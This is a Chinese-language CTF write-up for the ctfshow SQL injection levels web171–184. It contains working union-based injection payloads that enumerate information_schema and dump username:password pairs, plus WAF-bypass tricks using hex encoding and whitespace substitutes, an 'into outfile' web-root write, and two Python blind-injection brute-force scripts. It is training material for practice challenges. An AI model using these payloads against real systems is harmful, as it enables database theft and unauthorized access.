ctfshow-sql注入(一)
文章目录
SQL注入知识普及
判断是否注入
使用注释符–+
或者使用%23
来做注释符或者使用#
order by 判断列数
order by 是根据某一列进行排序
使用1’ order by 3–+ -> 回显正常
1’ order by 4–+ -> 没有数据 -> 说明列数是3
使用union select 判断回显
union合并查询的特性:
前面查询的语句和后面查询的语句结果互不干扰
前面查询语句的字段数量和后面查询语句的字段数量要一致
information_schema库:
SCHEMATA表:所有数据库信息 schemata_name 保存所有库的的库名信息
TABLES表:所有表信息 table_schema,table_name 查询所有表的名称
COLUMNS表:所有列信息 table_schema,table_name,column_name 所有字段的信息名
SQL注入流程:
判断有无注入点 and 1=1
猜解列名数量 order by 数字
通过报错判断回显点 union
信息收集
使用对应的SQL注入
information_schema.tables 查找表名
限制条件 table_schema=‘security’;
group_concat(table_name) 分组去重
查表名:id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’
查列名:id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’
查字段数据:select username,password from users
union select 1,2,(select group_concat(username,0x3a,password) from users)
0x3a :
web171
方法一:
1' or 1=1--+
方法二:
猜解列名数量:1’ order by 3–+ -> 回显正常 1’ order by 4–+ -> 没有数据 -> 说明列数是3
判断回显点:1’ union select 1,2,3–+ 发现都可以回显
随便选一个回显点查询数据库名:1’ union select 1,database(),3–+ 拿到数据库名是ctfshow_web
进行sql注入
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow_web'--+ #拿到用户表名为ctfshow_user
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'--+ #拿到列名为:id,username,password
1' union select 1,group_concat(username,0x3a,password),3 from ctfshow_user--+ 拿到flag
web172
猜解列名数量:1’ order by 2–+ -> 回显正常 1’ order by 3–+ -> 没有数据 -> 说明列数是2
判断回显点:1’ union select 1,2–+ 发现都可以回显
随便选一个回显点查询数据库名:1’ union select 1,database()–+ 拿到数据库名是ctfshow_web
进行sql注入
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ #返回ctfshow_user,ctfshow_user2
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'--+ #拿到列名为:id,username,password
1' union select 1,group_concat(username,0x3a,password) from ctfshow_user2--+ #拿到flag
web173
猜解列名数量:1’ order by 3–+ -> 回显正常 1’ order by 4–+ -> 没有数据 -> 说明列数是3
判断回显点:1’ union select 1,2,3–+ 发现都可以回显
随便选一个回显点查询数据库名:1’ union select 1,database(),3–+ 拿到数据库名是ctfshow_web
进行sql注入
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow_web'--+ #表名为ctfshow_user,ctfshow_user2,ctfshow_user3
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user3'--+ #id,username,password
因为题目将flag用正则表达式替换,所以我们使用hex()编码进行桡过
1' union select 1,group_concat(hex(username),0x3a,password),3 from ctfshow_user3--+ #拿到flag
web174
猜解列名数量:1’ order by 2–+ -> 回显正常 1’ order by 3–+ -> 没有数据 -> 说明列数是2
判断回显点:1’ union select 1,2–+ 发现都可以回显
随便选一个回显点查询数据库名:1’ union select database(),database()–+ 拿到数据库名是ctfshow_web
进行sql注入
-1' union select replace(username,'g','j'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'g','j') from ctfshow_user4 where username='flag'--+
web175
过滤了ascii 0-127
把flag直接写入到网站根目录
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+
web176
无任何过滤
使用万能密码->拿到flag
1' or 1=1--+
web177
过滤了空格
和–+
注释符
使用/**/
->空格,%23
->#(注释符)进行过滤->拿到flag
web178
过滤了/**/
->用%0a
,%0b
,%0c
,%0d
,%09
都可以表示空格
->绕过->拿到flag
1'%0aor%0a1=1%23
web179
过滤了%0a
,%0b
,%0d
,使用%0c
绕过->拿到flag
1'%0cor%0c1=1%23
web180
过滤了%23
,使用--%0c-
进行绕过->拿到flag
web181~web182
同180关
web183
题目是post传参,tableName=ctfshow_user
有回显
脚本:->拿到flag
import requests
import time
import random
url = 'http://4ffbaf45-c630-4463-a9ad-4d59e4ba8a16.challenge.ctf.show/select-waf.php'
flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'
flag = ''
for i in range(0, 40):
for x in flagstr:
data = {
"tableName": "`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag + x)
}
response = requests.post(url, data=data)
time.sleep(random.randint(0,1))
if response.text.find("user_count = 1;") > 0:
print("{} is right".format(x))
flag += x
break
else:
print("{} is wrong".format(x))
continue
print(flag)
web184
过滤了where,反引号,单引号,双引号,但是没有过滤空格,所以使用having
代替where
,用十六进制字符串代替双引号中的内容
脚本:->拿到flag
import requests
import time
url = 'http://ab747f50-6bcd-4a98-b047-721025e886b1.challenge.ctf.show/select-waf.php'
flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'
def str2hex(str):
a = ""
for x in str:
a += hex(ord(x))
return a.replace("0x", "")
def main():
flag = ''
for i in range(0, 40):
for x in flagstr:
data = {
"tableName": "ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(
str2hex(flag + x))
}
response = requests.post(url, data=data)
time.sleep(0.03)
if response.text.find("user_count = 1;") > 0:
print("{} is right".format(x))
flag += x
break
else:
print("{} is wrong".format(x))
continue
print(flag)
if __name__ == '__main__':
main()